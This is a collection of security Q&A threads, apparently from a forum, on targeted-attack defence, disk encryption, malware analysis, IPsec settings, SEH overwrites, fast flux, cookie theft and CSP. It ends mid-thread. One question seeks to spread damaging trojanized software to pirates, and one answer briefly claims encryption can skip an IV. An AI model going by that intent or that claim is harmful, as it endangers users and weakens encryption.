How to best defend against Targeted Attacks? We have seen this attack method grow as part of Advanced Persistent Threats (operation Aurora against Google or the G20 French Finance ministry attacks come to mind) but I have no doubt that even smaller scale attacks may employ this methodology if there is a lot to gain. Our case is: high value individuals within the organization receive malicious messages (e.g. PDFs or other documents with embedded malicious code) crafted specifically to look legitimate to them. Moreover, we are usually talking about less-than-expert users that would have trouble detecting an ill-intended message, let alone analyze one.

I feel it’s a subject that touches upon a number of security areas within an organization and would require a multi-layered approach: User Awareness Training, Detection Techniques, Mitigation measures (DLPs) in place etc.

Thinking that User Awareness and measures against Data Leakages would anyway be part of a comprehensive security program how should an organization address the Targeted Attack detection problem?

Some questions that need to be addressed:

You need to set up these filters and usually this may happen much after the actual attack took place. (There was an earlier question on dealing with APTs, but can this put to wider use?)
There needs to be detection and analysis capability either in-house or out-sourced. Are there any firms offering such a service?
You need to have email filtering tools able to integrate (automatically) disclosed attack patterns in their scanning process.
What to do with intercepted messages? Trying to catch targeted attacks may result in a large number of false positives, making it hard to delete; sending them in a “quarantine” system would perhaps be more appropriate but then (if you leave it to the user to decide) there is no guarantee that he/she will not, in the end, access the malicious email and get infected anyway…
How about complete system segregation for people that handle critical data: I’m thinking of a "layered" approach i.e. not receiving email themselves, but rather through secretaries or other "safe" go-betweens.

Your thoughts/suggestions/solutions/directions?

IMHO it is doing the un-sexy things consistently that will provide you the best defences against even targeted attacks and "APT's".

As I wrote when RSA provided details of their advanced attack good lessons learnt are:

Email as a malware distribution mechanism is not dead. Dig out those user awareness presentations and add some training on spear phishing and trusting the junk filter a bit more
Internet access is a luxury not a default right. Do not provide it if it is not required for a clear business benefit
Consider white listing websites that need to be accessed based on the user role, being smart like rules that check referring URL to be Google can prevent the backlash and loss of productivity while significantly improving security
Re-evaluate the business reason for software like Flash, Adobe reader, Office, browser extensions as part of the gold build for all desktops and laptops. Alternatives exist, users with a specific business reason can request it - cut your attack surface
Use IDS to detect and ideally IPS to prevent connections from endpoints to suspicious sites
Configure a desktop firewall and host based IDS to block any new outbound connections without approval
Monitor alerts from your IDS/IPS - have a team that is trained to react to these alerts with clear and rehearsed procedures
Implement two factor authentication for administrator access even to internal systems.
Move away from permanent privileged access for critical systems and monitor for logins outside of approved changes and support tickets
Move your security controls closer to your most valuable data with tools, people and processes for DLP. Your monitoring strategy needs to consider encrypted files, either analysing a decrypted version or flagging any new encrypted transfers. Encrypting the data in storage to add further layer of protection even if is stolen is also a good idea
Network segmentation - create secure network zones even within your internal network for your crown jewels, control and monitor access to these
Think about thin or zero client endpoints

Above all do a risk assessment, create a threat model and attack trees. Get some smart people in a room, ideally not just security and at least brainstorm:

Value - what is your most important information? You only need as much as security as you have value to protect
Threats - is there anyone that has the incentives and ability to cause you a problem?
Weaknesses - what are the weaknesses in your systems, your people and processes that could be exploited? How serious are these?
Risk - based on all this what is your actual risk? What is the real exposure?
Controls - how does everything you have spent on security so far help you reduce this risk? If you got rid of a control would it significantly increase the risk? Is it worth investing in new technology, people and process?

What you will find may not be the most sexy stuff, it is probably stuff you should have been doing anyway e.g. patch Appache aka Sony but end of the day it will probably give you the best cost benefit for defending against even APT's.


Security software to shutdown PC unless specific approach? For future refence:
In light of answers and critique, my question should have been:
1. How does one make sure a physical attacker with access to a powered, but locked FDE PC fails his/hers attempt to clone the harddrives by somehow trigging a computer shutdown.
But, in light of answers, it became clearer that "tripwire" shutdown is not essential in the goal of defending FDE.

I am looking and praying for a software that will shutdown computer if it is not approached correctly. An ideal functionality example: the computer is locked, but if the mouse gets moved or any key excepct e.g. "s" is pressed the computer will force shutdown.

edit: there is clearly a market for this, no? An unmonitered, powered computer obviously means full-disk encryption is eliminated. The mightiest of defenses laid on its knees, with nothing but a windows password left to savagely hack.

edit2: (lack the rep to comment) shutdown if X failed pass attempts is good, but if the attacker goes straight for reading the harddrives with external hardware he/she will only move the mouse to check the state of the PC.
To clarify, I'm not sure, but I assume there are tools to clone hardrives with a PHYSICAL presence from a powered computer, despite it being locked, if this is impossible correct me.

Edit: 3 I think a rephrase is in order. How would I protect myself from a physical attacker with harddrive cloning tools?

Jeff, how can a clone be a clone with encrypted PC being on/off (=decrypted/encrypted)? Or have I misunderstood how cloning with FDE works? I assume that to successfully clone a FDE PC it must be powered and decrypted, if it is off/encrypted obviously the clone data will be garbled?

Karalga, TPM was a good heads up, I'd never heard of it before, but it makes a lot of sense. As for protection against Van Eck phreaks and such I take my tin-foil hat off to whoever goes that far.

Cloning an FDE disk yields another FDE disk. It'll be encrypted so, not much in the way of worries there.

The scenario where a copy of all the unencrypted data from an FDE disk is pilfered (is probably what you are actually wanting to know about) must take place through the operating system or with the decryption key.

Operating systems are generally secure, but they are not perfect. However, a locked operating system that is not being used by an authorized user tends to be very difficult to break.

There are some potential weaknesses with FDE and TPM, in terms of vulnerability to cold boot attacks, etc. where an attacker with unhampered physical access could attempt to steal the decryption key.

So here's some advice:

1) Truly make it more difficult for an attacker to gain unhampered physical access:
A) remove, block, and secure (epoxy) all data ports, make sure no new device can be introduced.
B) remove all CD drives, floppy drives, etc.
C) physically secure the computer in a locking security cabinet and lock the chassis.
D) ensure the wires to peripherals cannot be accessed, otherwise someone can just cut the wire and connect the leads to their own usb device.
E) hire people with firearms that will defend your stuff.

2) Secure the computer's configuration:
A) secure the bios with a password.
B) do not allow boot from any device other than the primary hard drive.
C) understand the difference between pre-boot authorization and transparent operation mode for your FDE implementation and make sure you pick the one that leaves you less vulnerable to having your decryption key hijacked. some people like the security of keeping the decryption key separate from the computer. others want it to stay on(in) the computer (via TPM chip) so it doesn't have potential external exposure.

Finally, there is a fundamental flaw in your thinking about getting to the 'shutdown' to protect your FDE system. RAM may be volatile but it's not as volatile as you might think. The decryption key for your drives, using a cryogenic technique on your RAM, can be potentially recovered for hours after a system shutdown. Aside from the recommendations above, you could look into acquiring a computer that implements memory scrambling to help defeat cold boot attacks (apparently, some of the Intel processors have this as a feature).


SSL certificate for desktop app? I built an app, which authenticates users via oauth2. I have a simple server that can accept requests.
After authentication, the user is redirected to https://127.0.0.1:1234/token=<token> and the app listens on this port.
How can I make a certificate to accept a callback from the host? Self-signed certificates are restricted on many browsers.
Let's Encrypt and many other certificates are for domains, not local hosts.

Why do you want to run https to localhost anyway? There's no point in it.
TLS is meant to guarantee confidentiality, integrity, and authenticity of the connection against an attacker living on the network path between you and the server, but if you're connecting to localhost, there IS nothing between you and the server.
CA's won't issue a certificate to localhost, a certificate embedded in your desktop app can be easily reverse engineered and stolen, and a self-signed certificate is as good for security as none at all.
Just use plain http to localhost.
If you're worried that browsers will spook at you for "mixed content" or something, don't worry—modern browsers (at least I'm pretty sure Firefox does) treat localhost as secure regardless of how you connect to it.


How to evaluate different solutions for security tokens? According to my own experience, most companies selling security tokens for authentication like RSA, Verisign or Aladdin share little information about the internals of their products like algorithms and backend infrastructure. How can I compare those companies and their products to each other? How can I make an educated decision, which product fits my requirements and provides the best security?

How can I compare those companies and their products to each other?

It's quite difficult. You are not going to be able to do a variable to variable comparison. In cases like this I sugges you go for second order effects. Who are their customers and how closely do their authentication needs match yours? How do the companies who offer tokens deal with issues technical and non technical?

  How can I make an educated decision, which product fits my requirements and provides the best security?

Depending on how forthcoming their sale team is will to be it may be difficult. Try to understand the risks you are mitigating with multi-factor authentication and the consequences of failure. See of the companies offer insurance in the case of failure and what form that insurance would take. Will they help you detect a breach? What about containment and remediation? Where do they stand on user training? Will they help keep you aprised of relevent threats? If you cant get at the specifics of the technology try to understand the larger benefits and drawbacks. Technology only implements security policy, make sure that their technology will implement the policy you desire.


Analysis of the 2015 Kaspersky hack I suppose that all of you are aware of the hack of Kaspersky in June of 2015. In Kaspersky's report they say that the intrusion was noticed when one of their engineers tested a new detection tool and discovered an abnormality. In an Haaretz article about the incident they are talking about the hacking of a third party company and altering of their code which leads to this hack.

Is there anyone who have an idea about how Kaspersky manged to discover this kind of attack (the tool that they used, how they work, etc.) and how they managed to analyze it? What I'm looking for is the "howto" that can help each one of use to have a better understating of the first league game even three years after the incident!

Kaspersky wah hit by Duqu 2.0 and according to them:

  We detected the attack in early spring of this year. We were able to
  discover it thanks to the expertise of our researchers and our
  technologies: during a test, a prototype of an anti-APT solution
  developed by Kaspersky Lab showed signs of a complex targeted attack
  on its corporate network. After the attack was noticed an internal
  investigation was launched. A team of Kaspersky Lab researchers,
  reverse engineers and malware analysts worked around the clock to
  analyze this exceptional attack.

How they analyzed it ? Here is the full technical report on this.


Techniques exclusive to my malicious version of my own benign program? Do any special techniques become available to me when writing the malicious version of a program, when I myself am also the person programming the legitimate program?  (Any measure I could take with the legitimate version that could increase the damage potential of the malicious version, I am willing to take)

I'm a software developer, who has run into financial trouble due to piracy.  My current project will likely see the same situation, and I want to be more proactive about protecting it (and exact a sort of petty revenge), by uploading malicious versions of my own program to torrenting services.

The program itself is an executable, targeting windows.  My goal is to cause the most significant damage possible to the largest number of people torrenting the malicious program, though with an executable this should be the easy part.  (the hard part is gaining torrenter trust and avoiding detection for long enough to maximize damage potential)

This is not the right approach to this problem. It will bring legal ramifications against yourself and cause a wide array of issues you want to avoid. Instead you should implement the best practices to keeping yourself and your program safe.

Really you should make people want to buy your software or implement copy protection that won't put people off from buying it. There's some logic behind your approach, but it's still blackhat logic and should be avoided at all costs.

Really what you should try to do is offer value, incentive, and protection. Upload your evaluation copy to the torrent sites and let people use it for a reduced set of features, and make those pay for me features really useful(remove the single ad, add extra common output formats, helpful features, etc.). This way enough people will find it, try it, and if it's a good value buy it.

Now this may sound like poppycock, but it leads to one very large advantage: It will make it much harder for people who have decided to crack it to try and upload it because you'll have put your version up first, in a way that makes people find your legit version instead of their cracked version. Now when they go to try and steal it, instead they'll just sample it. Do this enough, and keep a vigilant watch out and torrents shouldn't exist for your product that you yourself don't use to put them out there. In fact offer it as an official source for your free or evaluation copy.

At least this way you won't go to jail/prison/federal/worse and you won't get sued if a legit user somehow gets one of those version accidentally.

Other best practices for this include setting up a registration server and code so that it logs something identifiable that isn't personal based on the system(like UUID) so that you can keep track of those computers, and if you suspect someone is using it illegally, you have some sort of evidence(uploading your own cracked, reporting, non damaging copy to the internet as a honeypot). This way registered users get logged as legit, and unregistered users get logged as non legit.

A great place to put that code is the pro features that would get cracked open. If the key doesn't exist in memory because it's been bypassed and thus not stored, REPORT! This way you can get your protection, and not end up somewhere bad.


What is "rule-based" analysis in malware detection? I've read a few articles that describe the heuristic detection used by AVs as being either "weight-based" or "rule-based". The weight-based aspect seems to make sense, but I don't understand what "rule-based" detection is or how it works.

This article describes rule-based detection as follows:

  Nearly all nowadays utilized heuristic approaches implement rule-based systems. This means, that the component of the heuristic engine that conducts the analysis (the analyser) extracts certain rules from a file and this rules will be compared against a set of rule for malicious code. If there matches a rule, an alarm can be triggered.

I just don't understand what a "rule" is in this context. How is it different from any other signature. If it is one of the many characteristics that may be used in weight-based detection, how is this approach significantly different than that?

The assumption behind "rules based" detection of malware is that malware often behave in a certain manner that would be anomalous for clean, legitimate programs. Examples of rules or behavior that may tell a a system is infected by malware are below.

A system process that drops various malware executables (e.g: Dropper)
A system process that reaches out to random, and often foreign IP addresses / domains
Repeated attempts to monitor or modify key system settings such as registry keys

A rule in this context refers to the anticipated behavior that classic malware tends to exhibit. Therefore, when a antivirus program encounters such anomalous behavior, it may be more likely than not , but not definite that the system is infected by malware.

Given rules based analysis relies on differentiating expected vs anomalous behavior, such algorithms can suffer when malware changes or "cloaks" itself so its "footprints" or behavior are hidden. In addition, single occurrences are often not significant but its repeated instances that often trigger "rules based" alarms, such as > than X # of times to connect to a particular IP address (such as for call back purposes).


Dealing with "trojan" ports We have a SOC which "monitors" our network activity, it basically collects all logs from all our firewalls and creates reports.

We have a huge network with hundreds of servers and upto 2000 users, and all our subnets/branches are firewalled. These firewalls feed into arcsight at the SOC which in turn come back to us as reports.

These reports contain all source:port and dest:port info from all our subnets.

I checked this data and see that a lot of these ports are classified as "trojan", "threat" etc. At the same time a lot of these are required for daily uses.

What then are the best practices deal with this?

Verify that the reported host runs a legitimate application on the port.

For example, port 8080tcp is the default alternative port for HTTP. It is used by many legitimate applications.

Look up what the destination host is supposed to be running in your configuration management database (you do have a CMDB, do you?). When it is supposed to run, for example, an Apache Tomcat application server (which uses port 8080), this is intended behavior and harmless. Verify that the Tomcat server is actually working. When it does, it means that the port is in use and can not be used by any malware without having to kill the Tomcat process, and that would cause whoever needs it to complain. Add a filter rule to your reporting system to prevent further reports about that server and port 8080 to show up. Such filter rules are important because any false-positives which show up in your reports just distract from any actual positives. You might also want to add a rule to your reporting system which generates an alert when that ip:port combination does not show up anymore. It would either mean that the server is down or that it was repurposed to no longer run that application and you need to update your filter rules and your CMDB.

However, When you find that port open on a host which isn't supposed to run anything which might use 8080, that's worth investigating. Log into the server, run netstat and check what application opened that port. Then use your own judgment to decide if it is legitimate or not.


If a password is encrypted and then the encryption is stolen is it best practise to change plaintext passwords? Backgound
Reading this article on BBC News dated 29th March 2018, the company in question suffered a data breach and up to 150 million accounts usernames, email addresses and passwords were potentially stolen.
The company states:

passwords were protected by strong [BCrypt] encryption

And an independant voice [Troy Hunt] was quoted as saying:

To its credit, ... [the companys] method of password storage is quite robust.

Topic
The company states also that:

The company will be requiring users to change their passwords and is urging users to do so immediately.

Question
However; if a company uses "robust" password security and password hashes; is there a security need to then change these hashes?
Notes
I realise that the call to change passwords is mostly a PR exercise and that some folks would then query/negative PR if the company didn't encourage it's users to change their passwords following a breach; but purely from the technical security point of view I can't see that there is any need to change password as long as the encryption method is fairly strong and resilient against bruteforce attempts -- which BCRYPT seems to be.

However; if a company uses "robust" password security and password hashes; is there a security need to then change these hashes ... as every time the hash is generated it will be different.

Aside: The hash isn't different every time, it's different per-user. If a hash was different every time it was computed we'd have no way to compare a user's submitted password and their stored password.

Yes, there is a security need to change passwords when they are compromised - there is no way of knowing how strong user passwords were, and there is no way of knowing your attacker's password hashing capabilities. If you leak an individual salt, high difficulty bcrypt hash of the password 'password', it's still going to be cracked in minutes. Forcing users to reset their password ensures that even weak passwords won't be exposed.

  Is it a good idea based on the idea some point in the future BCRYPTs may become easy to bruteforce?

No, the reason is as above - you are insulating users from their own weak password choices. Additionally, a stolen bcrypt database may become more feasible to brute force as processing power increases, but A: We're not seeing dramatic increases in processing power nearly as frequently as a few years ago and B: Ideally, the administrator is increasing the difficulty factor of the bcrypt hash as time goes on - the algorithm is designed to be easily tune-able for difficulty.


How do I sandbox user JS without using a VM, transpiler, or whitelist-based API? I've done my research and there are a few robust ways to sandbox user JS, namely:

Use a JS VM that runs the JS using a sandboxed form of js, like VM.js
Use a transpiler like Google Caja, which adds additional checks to preserve certain invariants and disallows specific codepaths
Use a cross-domain (and/or sandboxed) iframe, potentially with a WebWorker as well, e.g. Jailed

Unfortunately, none of these work well out of the box for my application. I'm trying to build a jsperf.com alternative (i.e. web-based JS benchmarking system), so the first two are out, since they would affect the performance of the user-supplied code, which completely invalidates any benchmarking results.

Jailed is closer, but also not a great alternative because A) its whitelist-only approach is so restrictive that my site would not be able to test the performance of a lot of features of the web (DOM operations, IndexedDb, WebWorkers, LocalStorage, etc.) without a lot of whitelisting that I'm not even sure would work and B) I'm not sure how well maintained (and thus secure) it is given how little activity there is on its GitHub repo.

What is the most permissive system (in terms of closeness to running unsandboxed) that I can safely use to execute user-supplied JS for benchmarking? Is a sandboxed iframe sufficient so the benchmarks can at least access some DOM and other Web APIs? Is the WebWorker really necessary? What do jsfiddle and the like do?

The software engineering definition of a sandbox is an execution environment with specific security constraints maintained.  This means that the user JavaScript should not be able to either leverage or impact the JavaScript of the containing web page.

An iframe implementation will neither

Guarantee that the sandbox code run-time conditions will be the same as if it ran in an independent document nor
Ensure the parent document will not be impacted and possibly crashed by the sandbox code.

If you have sufficient network and web server control, you can establish fairly secure independence and an authentic execution environment by allowing an authenticated user via HTTPS to provide sand-boxed JavaScript to a completely independent secondary site or sites.  Use of sub-domains can reduce the cost of this approach.   You may have to use the target='_blank' hack that some consider a violation of the www model.

To be careful not to create security holes with this arrangement, there are a few recommendations.

Use a server-side include that precisely acquires the sandbox code.
Carefully tighten all web server directory access.
Validate the syntax of the JavaScript.


How can I recognize and find file(s) dropped by malware? Suppose I am doing malware analysis. How can I recognize if, during the analysis process, a piece of malware dropped a file in my system, and if so, the path of the file?

What are the procedures, apart from using sandboxes? I mean how can I do this manually?

There are generally three ways:

Sandboxing (which you said you don't want to do)
Tools like Process Monitor can display all file and registry activity on the system, but this approach is limited - rootkits would hide the changes, or the malware might notice procmon and change its behaviour.
Snapshot comparison. Take a snapshot of the filesystem, then run the malware, then take another snapshot and compare them. You'll be able to see what files were created and changed.


What to do when a Linux account gets owned? What is the best course of action when you discover that a non-administrator Linux account has gotten owned, and a single foreign process is running, making all sorts of networking connections?

For example, how would one take a complete snapshot of the process for future analysis?

Take into consideration that the executable itself might have been deleted, so, even the binary itself you'd have to find through an inode with something like debugfs, but there's also the question of preserving other evidence.

Assuming the root account has not been compromised (and this is not a good assumption -- the attacker may have used a privilege escalation attack without leaving traces), you can trust the log files and the system utilities.  In this case, I'd dump the program memory for analysis (eg. by triggering a core dump), archive the user's files and the temporary directories, and then wipe the user's account and files and restore from backup.

The technical details are better suited for a site such as Unix SE.


Windows 10 IPSec VPN not respecting configured parameters (notably: encryption method) I am currently trying to establish a VPN connection from my Windows 10 Enterprise 1909 to a remote VPN gateway, using the built-in Windows VPN / IPSec client. Since the UI does not provide all options I need, I have created and fine-tuned the VPN connection with Powershell (using an account with Administrator rights):
Set-VpnConnection -Name Test -AllUserConnection -ServerName other.vpn.gateway -TunnelType Ikev2 -AuthenticationMethod MachineCertificate -EncryptionLevel Required
Set-VpnConnectionIPsecConfiguration -ConnectionName Test -AuthenticationTransformConstants GCMAES256 -CipherTransformConstants GCMAES256 -EncryptionMethod GCMAES256 -IntegrityCheckMethod SHA384 -PfsGroup PFS2048 -DHGroup Group14 -AllUserConnection

I've been very surprised that Windows obviously offers GCMAES256 where it matters; please note that I haven't typed the encryption method etc. manually, but got them from the proposals Powershell ISE offers after having typed an argument.
However, when I dial that VPN connection, Windows claims that there is a "Policy match error". A quick investigation on the remote gateway showed that Windows sends wrong IKEv2 proposals:
We (responder) are not behind a NAT. NAT-T is already enabled
+IKE-SA:
  IKE-Proposal-1  (4 transforms)
    ENCR : AES-CBC-256
    PRF  : PRF-HMAC-SHA1
    INTEG: HMAC-SHA1
    DH   : 14
  IKE-Proposal-2  (4 transforms)
    ENCR : AES-CBC-256
    PRF  : PRF-HMAC-SHA-256
    INTEG: HMAC-SHA-256
    DH   : 14
  IKE-Proposal-3  (4 transforms)
    ENCR : AES-CBC-256
    PRF  : PRF-HMAC-SHA-384
    INTEG: HMAC-SHA-384
    DH   : 14
-Could not match any proposal. See VPN-Debug trace for more information

So Windows sends three proposals, and all of them are wrong. For example, in my Powershell commands, I have explicitly told it to use GCMAES256 for encryption, but obviously, Windows insists on and proposes AES256-CBC.
Could somebody please explain whether this is a bug in Windows or whether I am doing something wrong. Do I have to enable GCMAES256 in Windows somehow?
Furthermore, why does Windows propose SHA1 and SHA-256 (proposals 1 and 2 in the above code) while I have explicitly told it to use SHA-384?
[ Side note: Of course, I could enable AES256-CBC on the remote gateway, but I am considering this only a last resort. I really would like to know what is going on at the Windows side. ]

I have thought of deleting this question because I have found the answer myself, and the problem was not due to a bug in Windows. However, I have learnt that I am not the only one who had this problem, so I leave the question and the answer here for reference. Having said this:
The Windows IPSec stack does still not offer strong authentication, cipher, encryption, integrity and exchange algorithms by default; instead, you have to explicitly enable strong VPN IPSec cryptography. This is true even for the newest versions of Windows 10 (at the time of writing this), and it is a shame that Windows does not offer appropriate options in the GUI where VPN IPSec connections are normally created.
When researching how to enable strong cryptography in Windows, you will inevitably come across at least the following solutions:

Create and fine-tune VPN IPSec connections via Powerhell, using commands like those shown in my question.

If it does not exist yet, create the following DWORD in the registry: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Rasman\Parameters\NegotiateDH2048_AES256Then set it to one of the following values:0: Disable AES-256-CBC and MODP-20481: Enable AES-256-CBC and MODP-20482: Enforce AES-256-CBC and MODP-2048

So we have a quick way to enable that strong encryption everybody is after by just editing one registry value, which most of us are used to anyway, right? And of course, we want to be sure that the strong encryption is actually used, so we set that value to 2 to prevent weak proposals from being chosen, or to prevent ourselves from connecting to sites which only offer weak cryptographic algorithms.
A few days later, we realize that this is not enough, because we now want to connect to a site which uses another DH group, for example. So we bite the bullet and learn how to configure VPN IPSec connections via Powershell.
Next, we wonder why Windows does not respect the cryptographic algorithms we have given for a certain VPN IPSec connection via Powershell, and why it sends wrong proposals, and we write questions at this site.
The reason for Windows disrespecting our Powershell VPN IPSec configuration is trivial:
The description for the value 2 in the above registry DWORD must be understood literally. Enforce means, well, enforce, which in turn means that the cryptographic parameters for any IPSec VPN connection will be overridden and that MODP-2048 and AES256-CBC will be used instead.
It does not mean that Windows insists on AES256-CBC and MODP-2048 just if something weaker is configured or offered. It really means that this setting under any circumstances will override other settings given by other configuration mechanisms.
Since I have deleted that registry value, Windows uses and offers the correct cryptographic configuration (i.e. the one given via Powershell) when establishing a VPN IPSec connection. It did not need to be restarted for this change in behavior.
Please note that I did not try what would happen if I set that registry value to 1; I just deleted it because it is not of any benefit as long as you create your VPN IPSec connections via Powershell, which I will always do in the future.
Likewise, I did not research whether it is possible to enable strong cryptography with VPN IPSec connections by group policies or other mechanisms not mentioned above - please leave a comment if you can tell anything about that.


SEH overwrite attack details If there are canaries on stack, why does not the exception handler check the integrity of canaries? Why does it continue executing a manipulated exception handler?

Will corrupting a canary trigger an exception? Is this a common way to trigger an exception at SEH overwrite attacks?

Why does the attack have to set the handler address to "pop-pop-ret", then jumping to the destination address, e.g., inserted shell code? I mean, why not set the handler address directly to the destination address?

I understand there are mitigation now against such attacks, I still want to know more details. Thanks.

Ref: https://www.exploit-db.com/docs/17505.pdf

The exception handler does not check the integrity of the canaries since the check code is called only when the function terminates. The attacker sould make sure that before the program reaches that code, an exception should be thrown!
Without further protections, the program continues to execute a manipulated exception handler because it does not know that it is malformed.
Corrupting a canary will not trigger an exception, the program will not know that the canary has changed until the integrity check. Overflowing a buffer, on the other hand, MIGHT trigger an exception (If, for example, the attacker overruns a pointer and points it to an area that is unreadable/unwriteable and then tries to read/write with that pointer).
Assuming that the shellcode is on the stack, we do not place the address of the shellcode in the address of the exception handler because Windows has a some basic defence mechanism that prevents exceptions from jumping to addresses on the stack. SEH was abused commonly and repeatedly, and so it was created.
Therfore, we use pop, pop, ret because we can easily find this code in the text segment (an area the exception handler CAN jump to).
For more details about the mitigation techniques please read about:

SafeSEH which defines exact addresses that allow exceptions to jump to them.
SEHOP which verifies the integrity of the exception handler list.

I also asked a question on the subject, you might want to take a look at it


How to force openssh client to require both SSH certificate and SSHFP record? Securely authenticate SSH hosts

I have successfully used both OpenSSH Certificates and SSHFP to authenticate hosts when connecting to servers using SSH. But I fail to find a way to require the combination of these. Is there a way to tell the OpenSSH client to require both?

I understand that this might seem overkill but if you think this is the case you can treat this as a purely academic exercise.

This isn't really an answer because I have no idea how to make the openssh CLI client do that, short of modifying the c code.

Academically, it's an interesting question whether you actually gain anything by mixing protection models like that; both are methods of authenticating that you are in fact talking to the server that you think you are.

ssh fingerprints say "I have no idea which server I'm talking to, but it's the same server as last time". Security assumption: you were talking to the correct server the first time.

Whereas certificates say "According to the CA, I'm talking to server.domain.com". Security assumption: the CA is honest.

Let's break this down into cases to see if you gain anything by combining them:

Case 1: You trust the fingerprint. Maybe, for example, you called the admin and they read you the fingerprint over the phone. Great, you have full confidence in the identity of the server using the fingerprint alone, the certificate gains you nothing.

Case 2: You trust the CA. They are honest and would not issue a cert for server.domain.com to anyone except the rightful owner. Great, you have full confidence in the identity of the server using the certificate alone, the fingerprint gains you nothing.

Case 3: You trust the CA and the fingerprint. Pick one, either will be watertight by itself.

Case 4: You don't trust the fingerprint or the CA. On first-time connect you were shown a cert from a CA that you don't trust and a fingerprint that you have no way to verify out-of-band. Well, you really can't authenticate this server at all, can you?

Generally speaking, certificates from a publicly trusted CA are a stronger auth method than fingerprints -- unless you are verifying fingerprints out of band, in which case the certificates gain you nothing.

I suppose there's a Case 5: the CA was trustworthy at the time of your first connection to the server, but the CA started misbehaving later. That's basically equivalent to not trusting the CA at all because if you assume that they could become compromised in the future (with no public announcement), then what proof do you have that they are not already compromised? Trusting CAs kinda has to be an all-or-nothing thing. I'm going to argue that if you check fingerprints out of band, then this reduces to Case 1, and if you don't then it reduces to Case 4. Still nothing gained by combining methods.


Is it secure to use unique prefix for each dataset, instead of using IV (in AES)? In continue to my question here: How to prevent user guess the key (password), if he have access to all the data (except the key)

I thought, that instead of using sepreate IV field for each SSN (for example). I can use a prefix for that.

For example, instead of encrpyt {{ssn}}, I encrypt: {{user_id:ssn}}
Every user had unique ID. So no one can find duplication in the database.

My question is: If every time I encrypt data, I am using, uniuqe prefix to the data. Is it true, that I don't need to use IV?

In your case, correct. You do not need a random IV. The combination of user_id, ssn, and your Key is globally unique, so the attacker will not be able to find duplicates from a secure algorithm. (i.e. AES-128 or higher)

Edit: IVs should always be random. While in the OP's case it may not be that important, it usually is, and is easy to implement, so use random IVs. See comments.

It's worth noting that you are not using a chaining algorithm because the amount of data you are encrypting is so small. This reduces what you have to worry about. The purpose of the IV is to make sure the first 'block' is unique, and the purpose of the Chaining Method is to make the remaining blocks appear random so there is no discernible pattern in long data.

But your data fits into one block (128 bits for AES-128) so that is not necessary.


Should user's password strength be assessed at client or at server side? Now most of big website like Google mail, Twitter, Facebook have a feature that assesses password strength (check number of digit, alphabet, special characters, or check the similarity over already hacked passwords) for a guest while he is in a registration, but where should the assessment be processed at client side or at server side and then the server sends the assessment result to the client. In case  the answer is at server side, does the server assess the password's strength over the plain text form or encrypted form of the password.

Password strength, in this context, is a meaningless concept. The strength of the password, in most cases, isn't an intrinsic property of the password itself. That input validation logic in registration forms merely checks the password against a certain criteria: Does it have a number? Does it have a special character? Is it longer than 8 characters? etc.

Such checks can be done in the client's browser or on the server. Enforcing those conditions, however, can only be done on the server as the user can simply bypass those client-side restrictions. Those checks are done in the user's browser because it's much faster to do them there; they're just indicators for the user. Once the password is submitted to the server, it must be checked against those conditions.

Side note: I'm not a big fan of restrictive "password strength" conditions and I don't recommend them. However, I do see the benefit of checking for a minimum length and making sure that the password doesn't exist in a dictionary or wordlist.


How Fast Flux technique works exactly? I was reading about botnets and C&C servers and saw this term. I've read this Wikipedia article but I couldn't really understand what and how this is working. I think its some kind of proxy re-routing thing but I can't understand how this works, relationship with TTL values etc.

Can someone explain this technique from very beginning to end in detailed way? If possible, some examples will be very helpful to understand it completely.

I think the linked Wikipedia article covers it quite simply.

Consider how many home users like to use a Dynamic DNS service to be able to reach their computer no matter what IP it has. The one computer reports its IP address on a regular basis, to a service which updates the DNS entry whenever the address changes. That way the DNS entry will always point to that computer no matter where the computer is or what IP it's using.

Now take that and blow it up into a botnet that's sharing a DNS entry. Each bot takes turns acting as the registered machine for the DNS entry. A short TTL is used on the entry so that it expires quickly, and doesn't point to the same IP for more than a few minutes. When the TTL is due to expire another bot is registered. Repeat the process ad infinitum until you're done needing the DNS entry or the Registrar shuts you down.

This is used to get around IP-based filtering or IDS which might otherwise inhibit the functionality of malware or other tools which rely upon access to an attacker-controlled network. The only way to block it is if you have a local DNS server you control that can black-hole lookups to the domain for your network, or if a Registrar agrees to shut the domain down.


A problem with the cookie theft detection mechanism of Barry Jaspan's Improved Persistent Login Cookie scheme I have read this article http://jaspan.com/improved_persistent_login_cookie_best_practice

i intend to implement cookie theft detection mechanism Barry Jaspan devised in it.

but a problem seemed to me.

i sent a letter about it to Jaspan several days ago, but he hasn't replied yet.

the problem is:

a user may open several (at least 2) tabs quickly in his browser.
the browser sends 2 requests with the cookie 'login_tok-dynamic_tok' to the application (our login system).
login_tok is the token that will not change for the entire life time of the persistent login.
dynamic_tok is the token that changes with every request.
first request that is executed by the server causes dynamic_tok to change in the database.
now the second request is processed and since the old dynamic_tok doesn't match the one in the database, a false positive will be generated.

You're right, practically the issue will most likely happens when using one of the multiple Firefox facilities allowing to restore and then refresh multiple tabs at the same time.

Based only on the secret itself, I see no way to tell whether it has been stolen or not. The only solution I see is to add an expiration date to the token (there should be one anyway in order to purge very old unused tokens), and when a user shows a token keep it in the base but set its expiration date to a short delay (set expiration to one or two minutes ahead for instance). Maybe there should be an additional "used" flag added to ensure that the expiration date is update only once (otherwise an attacker who can update the date endlessly could preserve the token validity over time).

Then the "token theft" alert can be raised when the server receive a valid series associated to a non-existent or expired token.


Content-Security-Policy: Getting weird reports with frame-ancestors 'self' Right now, I maintain the Content-Security-Policy for https://www.lidl.de, which is:

Content-Security-Policy: frame-ancestors 'self'; block-all-mixed-content; report-uri https://lidlcsp.report-uri.io/r/default/csp/enforce;

The part with frame-ancestors is to protect against clickjacking.

When going through the violation reports sent to report-uri.io, the number one is the following,

{
    "csp-report": {
        "blocked-uri": "",
        "document-uri": "https://www.lidl.de/",
        "original-policy": "frame-ancestors https://www.lidl.de; block-all-mixed-content; report-uri https://lidlcsp.report-uri.io/r/default/csp/enforce",
        "violated-directive": "frame-ancestors https://www.lidl.de"
    }
}

which is sent from Firefox (as report-uri.io shows). I'm puzzled on two things here:

Why is this report sent? I can't reproduce it.
Why is the "original policy" altered ('self' vs. https://www.lidl.de)? Does this make any difference?
(EDIT) Why is https://www.lidl.de/ blocked in the following report? The csp explicitly allows iframes on the same site via 'self'.

EDIT:
To make the third question a bit clearer I add another csp-report:

{
    "csp-report": {
        "document-uri": "https://www.lidl.de/",
        "effective-directive": "frame-ancestors",
